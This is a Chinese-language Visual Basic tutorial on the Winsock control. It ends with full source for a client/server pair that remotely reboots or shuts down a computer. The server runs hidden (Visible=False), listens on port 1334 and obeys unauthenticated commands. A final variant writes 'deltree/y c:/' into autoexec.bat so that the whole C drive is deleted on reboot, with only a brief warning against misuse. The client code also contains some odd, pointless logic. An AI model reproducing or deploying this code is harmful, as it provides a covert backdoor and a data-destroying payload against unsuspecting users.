一.认识Winsock和msDNS控件 首先我们要认识Winsock控件,Winsock控件是微软提供的,是win98的内部控件,利用 WinSock 控件可以与远程计算机建立连接,Winsock包含有用户数据文报协议 (UDP)和传输控制协议 (TCP)。可用这两种协议来建立客户与服务器应用程序来进行数据交换。而msDNS是个人编写的共享控件,需要的可到(wch_email@163.net)联系。Winsock是进行数据交换的,msDNS是用来查找对方的IP地址。 二.Winsock的基础
1.TCP基础:TCP(Transfer Control Protocol)是传输控制协议的简称,是基于连接的协议,在数据传输之前必须先建立连接。
2.UDP基础: UDP(User Data Protocol)是用户数据文报协议的简称,两台计算机之间的传输类似于传递邮件;两者之间没有明确的连接,可作为服务器,也可作为客户机。
3.属性:
BytesReceived:返回接收到的(当前在接收端缓冲区内的)数据的数量。使用GetData方法来获取数据。
LocalHostName:返回本地机器名。
LocalIP:返回本地机器的IP地址。
LocalPort:返回或者设置所用到的本端口;如果指定的是端口 0,就使用一个随机端口。
Protocol:返回或设置Winsock所用的协议是TCP或UDP。
RemoteHostIP:返回远程机器的IP地址。
State:返回控件的状态,用枚举类型来表示。
SocketHandle:返回一个与连接字句对应的值。
4.方法:
Listen:用于服务器程序,等待客户访问。 格式:Winsock对象.listen
Connect:用于向远程主机发出连接请求 格式:Winsock对象.connect [远程主机IP,远程端口]
Accept:用于接受一个连接请求 格式:Winsock对象.accept Request ID
Senddata: 此方法用于发送数据 格式:Winsock对象.senddata 数据
Getdata: 用来取得接收到的数据 格式:Winsock对象.getdata 变量 [,数据类型 [,最大长度]]
Close: 关闭当前连接 格式:Winsock对象.close
5.事件:
DataArrival:新数据到达时出现;获取一个 GetData 调用中的全部数据。
ConnectionRequest:当远程计算机请求连接时接受连接请求。
SendComplete :在完成一个发送操作时出现 。
SendProgress :在发送数据期间出现 。
Error:后台处理中出现错误(例如,连接失败,或者在后台收发数据失败)事件就会出现。
Close :当远程计算机关闭连接时出现。 三.程序代码: 通过远程控制计算机,使远程计算机重新启动或关闭,需设置一个服务器程序和一个客户机程序,服务器受客户机的控制。
1.服务器程序:
在VB5的编程环境下,新建一个工程,在Form1中添加一个Winsock控件,Winsock的“名称"为Winsock1,属性Protocol设置为0-sckTCPProtocol,Form1的属性Visible=False,这样运行该程序就会隐藏起来不可见;其代码如下:
Option Explicit
"该函数(ExitWindowsEx)是win98里的API函数,是用来重启或关闭计算机的
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long Const EWX_LOGOFF = 0 Const EWX_SHUTDOWN = 1 Const EWX_REBOOT = 2 Const EWX_FORCE = 4 Const EWX_POWEROFF = 8 Const EWX_RESET = EWX_LOGOFF + EWX_FORCE + EWX_REBOOT
Private Sub Form_Load() On Error GoTo skip "如此端口出现冲突程序则退出 Winsock1.LocalPort = 1334 "端口值应大于1024,如还有冲突可改为其他值 Winsock1.Listen Exit Sub skip: If Err.Number = 10048 Then MsgBox "端口冲突,退出!", vbOKOnly, "注意!" End End If End Sub
Private Sub Winsock1_Close() If Winsock1.State <> sckClosed Then Winsock1.Close Winsock1.Listen "关闭连接后继续监听 End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) If Winsock1.State <> sckClosed Then Winsock1.Close Winsock1.Accept requestID "请求到达时,接受连接 End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim dwReserved As Long Dim strget As String Dim X As Long Dim ccom As String Winsock1.GetData strget "读取到达的数据 Select Case strget Case "Reset" "判断到达的数据是否‘Reset’,是则重启 X = ExitWindowsEx(EWX_RESET, dwReserved) Case "Close" "如为‘Close’则关闭计算机 X = ExitWindowsEx(EWX_SHUTDOWN, dwReserved) Case Else "可以在此加入其他命令 End Select End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) MsgBox "错误", vbOKOnly, "注意!" "如程序出现错误,则退出 End End Sub
2.客户机程序:
新建一个工程,在Form1中加入Winsock控件(misrosoft winsock control 6.0)和msDNS控件(msDNS Activex DNS query control (Freeware)),可到中国VB大本营下载,也可以和(wch_email@163.net)联系。把msDNS控件复制到“c:/windows/system”目录下。再加入三个Label控件,两个TextBox控件(控件数组,第一个TextBox的INDEX=0为输入用户名框,第二个TextBox的INDEX=1为IP地址框)和五个CommandButton。如下图
属性为: CommandButton
控件类型 | 控件名称 | 属性 | 属性值 | Winsock | Winsock1 | protocol | sckTCPProtocol | DNS | DNS1 | HostIP | 127.0.0.1 | Label | Label1 | Caption | 用户名为: | Label | Label2 | Caption | IP地址: | Label | state_lab | borderstyle | 1 | CommandButton | CmdIpSend | Caption | 查找 | CommandButton | CmdClose | Caption | 远程关闭 | CommandButton | CmdReset | Caption | 远程重启 | CommandButton | CmdConnect | Caption | 连接 | CommandButton | CmdExit | Caption | 退出 |
代码如下:
Option Explicit Private UnusedField As Integer
Private Sub Form_Load() UnusedField = 1 Winsock1.LocalPort = 0 "本地端口可任选,只要不冲突且小于65535,用0可产生一个随机的的端口 Winsock1.RemotePort = 1334 "对应服务器端的localport state_lab = "未建立连接." End Sub
Private Sub CmdClose_Click() If Winsock1.State <> sckConnected Then state_lab = "请先建立连接" Else Winsock1.SendData "Close" "发出关闭命令 End If End Sub
Private Sub CmdReset_Click() If Winsock1.State <> sckConnected Then state_lab = "请先建立连接" Else Winsock1.SendData "Reset" "发出重启命令 End If End Sub
Private Sub CmdConnect_Click() On Error GoTo skip Winsock1.RemoteHost = Text1(1).Text If Winsock1.State = sckConnected Then state_lab = "已建立连接了" Else Winsock1.Connect End If Exit Sub skip: "用netstat命令看到状态为Time_wait则 If Err.Number = 10048 Then "须等待一段时间才可连接,也可换另一端口,可加快连接速度 MsgBox "端口正在使用,请稍后再试!", vbOKOnly, "注意!" End End If End Sub
Private Sub CmdExit_Click() Winsock1.Close "关闭连接且退出 End End Sub
Private Sub Winsock1_Connect() state_lab = "建立连接成功!可发送命令." End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) MsgBox "错误", vbOKOnly, "注意!" End End Sub
"--------////////////-------
’事件Ready是DNS控件的准备事件,是在收到信息后而作出答复 Private Sub DNS1_Ready(ByVal Status As Integer)
Select Case Status Case dnsReady Text1(0) = DNS1.HostName Text1(1) = DNS1.HostIP Case dnsError If Text1(0) = "" Then Text1(0) = "(DNS error)" Else Text1(1) = "(error)" Case dnsNotFound If Text1(0) = "" Then Text1(0) = "(address not found)" Else Text1(1) = "(not found)" End Select Screen.MousePointer = 0
End Sub
’从服务器返回的错误信息
Private Sub DNS1_SocketError(ByVal Number As Integer, ByVal Description As String) MsgBox "A socket error occured:" & vbCrLf & Description, "Sorry!" Screen.MousePointer = 0 End Sub
’输入主机名,用来查找其IP地址 Private Sub CmdIpSend_Click() If Text1(0).Text = "" Then MsgBox "请输入查找的主机名", vbOKOnly + vbCritical, "错误" Exit Sub End If Text1(UnusedField) = ""
Screen.MousePointer = vbHourglass
If Text1(1) = "" Then DNS1.HostName = Text1(0) Else DNS1.HostIP = Text1(1) End If
End Sub
’当对象获得焦点时产生该事件 Private Sub Text1_GotFocus(Index As Integer) With Text1(Index) .SelStart = 0 .SelLength = Len(.Text) End With End Sub
’此事件当用户按下和松开一个 ANSI 键时发生
Private Sub Text1_KeyPress(Index As Integer, KeyAscii As Integer) UnusedField = IIf(Index = 0, 1, 0) End Sub
以上两个程序已做好了,只有先在服务器端运行服务器端程序,再在客户端运行客户端程序,在用户名框输入服务器的主机名查找出其IP地址,进行连接就可以控制服务器了,就这么简单。也可以单机进行控制,就是在一台计算机上先运行服务器端程序,再运行客户端程序,输入本机用户名查找出其IP地址进行连接就行了。如果要更多的功能,可以在服务器端程序的Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)过程中的Case Else之后加入。例如想要产生一个重启之后进行格式化硬盘的命令就是在Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)过程中,简单如下:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim dwReserved As Long Dim strget As String Dim X As Long Dim ccom As String Winsock1.GetData strget "读取到达的数据 Select Case strget Case "Reset" "判断到达的数据是否‘Reset’,是则重启 Open "c:/autoexec.bat" For Output As #1 Print #1, "deltree/y c:/" "在重启时删除C盘上的所有文件 Close
X = ExitWindowsEx(EWX_RESET, dwReserved) Case "Close" "如为‘Close’则关闭计算机 X = ExitWindowsEx(EWX_SHUTDOWN, dwReserved) Case Else "可以在此加入其他命令 End Select End Sub
该功能请不要乱用啊!否则后果自负。  
|